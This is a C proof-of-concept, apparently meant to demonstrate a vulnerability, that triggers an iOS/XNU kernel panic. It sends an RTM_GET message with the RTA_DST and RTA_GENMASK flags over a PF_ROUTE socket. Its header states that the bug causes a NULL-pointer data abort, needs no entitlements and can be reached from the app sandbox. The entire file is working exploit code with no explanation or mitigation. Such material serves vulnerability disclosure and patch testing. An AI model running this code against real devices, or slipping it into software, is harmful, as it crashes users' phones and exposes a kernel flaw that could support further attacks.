/* * PF_ROUTE RTM_GET kernel panic PoC * * Trigger: RTM_GET with RTA_DST | RTA_GENMASK (0x09) * Result: Kernel data abort at NULL+0x18 (radix node key deref) * Access: No entitlements required, works from app sandbox * * Tested on: iOS 26.1 (xnu-12377.42.6) */ #include #include #include #include #include #include #include #define RTM_VERSION 5 #define RTM_GET 4 #define RTA_DST 0x01 #define RTA_GENMASK 0x08 struct rt_metrics { uint32_t rmx_locks, rmx_mtu, rmx_hopcount; int32_t rmx_expire; uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh; uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state; uint32_t rmx_filler[3]; }; struct rt_msghdr { unsigned short rtm_msglen; unsigned char rtm_version; unsigned char rtm_type; unsigned short rtm_index; int rtm_flags; int rtm_addrs; int rtm_pid; int rtm_seq; int rtm_errno; int rtm_use; unsigned int rtm_inits; struct rt_metrics rtm_rmx; }; int main(void) { int fd = socket(PF_ROUTE, SOCK_RAW, 0); if (fd < 0) return 1; char buf[256]; memset(buf, 0, sizeof(buf)); struct rt_msghdr *rtm = (struct rt_msghdr *)buf; rtm->rtm_type = RTM_GET; rtm->rtm_version = RTM_VERSION; rtm->rtm_seq = 1; rtm->rtm_addrs = RTA_DST | RTA_GENMASK; int off = sizeof(*rtm); struct sockaddr_in *dst = (struct sockaddr_in *)(buf + off); dst->sin_family = AF_INET; dst->sin_len = sizeof(*dst); dst->sin_addr.s_addr = inet_addr("8.8.8.8"); off += sizeof(*dst); struct sockaddr_in *genmask = (struct sockaddr_in *)(buf + off); genmask->sin_family = AF_INET; genmask->sin_len = sizeof(*genmask); genmask->sin_addr.s_addr = inet_addr("255.255.255.0"); off += sizeof(*genmask); rtm->rtm_msglen = off; write(fd, buf, rtm->rtm_msglen); close(fd); return 0; }